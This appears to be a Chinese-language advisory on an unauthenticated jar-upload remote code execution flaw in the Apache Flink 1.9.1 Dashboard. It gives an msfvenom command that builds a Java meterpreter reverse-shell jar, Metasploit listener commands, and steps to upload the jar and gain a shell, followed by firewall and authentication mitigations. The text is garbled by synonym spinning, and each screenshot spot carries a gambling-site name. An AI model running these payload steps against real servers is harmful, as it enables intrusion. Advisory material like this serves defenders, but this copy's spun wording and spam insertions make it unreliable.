Apache Flink 肆意Jar包上传导致远程代码执行缝隙安全公告

颁布功夫 2019-11-14

缝隙编号和级别


CVE编号:暂无 ,危险级别:高危 ,CVSS分值:官方未评定


影响版本


至目前最新版本Apache Flink 1.9.1


缝隙概述


Apache Flink是由Apache软件基金会开发的开源流处置框架 ,其主题是用Java和Scala编写的散布式流数据流引擎。Flink以数据并行和流水线方式执行肆意流数据法式 ,Flink的流水线运行时系统能够执行批处置和流处置法式。此表 ,Flink的运行时自身也支持迭代算法的执行。


Apache Flink的数据流编程模型在有限和无限数据集上提供单次事务(event-at-a-time)处置。在基础层面 ,Flink法式由流和转换组成。


Apache Flink的API:有界或无界数据流的数据流API、用于有界数据集的数据集API、表API。


Apache Flink Dashboard 中可上传恶意jar包并触发恶意代码执行。由于Apache Flink Dashboard 默认无需认证即可接见 ,因而该缝隙可用作获取shell。


缝隙验证


POC:https://twitter.com/jas502n/status/1193869996717297664。


测试环境:Apache Flink 1.9.1


1、上传msf天生的jar包,天生rce.jar文件


msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8087 -f jar > rce.jar


宝运莱·(中国区)最新官方网站


2、配置msf监听


use exploit/multi/handler

set payload java/shell/reverse_tcp

set LHOST 127.0.0.1

set LPORT 8087

show options

run


宝运莱·(中国区)最新官方网站


在Submit New Job处上传rec.jar文件 ,点击submit


宝运莱·(中国区)最新官方网站


成功反弹shell ,执行id可看到了局


宝运莱·(中国区)最新官方网站



建复建议


该缝隙官方尚未颁布安全更新以及解决步骤 ,请受影响的用户实时关注Apache Flink官网:https://flink.apache.org/downloads.html。


缓解措施:

建议设置防火墙战术 ,仅允许白名单ip接见 apache flink服务 ,并在Web代理(如apache httpd)中增长对该服务的digest认证。


参考链接


https://twitter.com/jas502n/status/1193869996717297664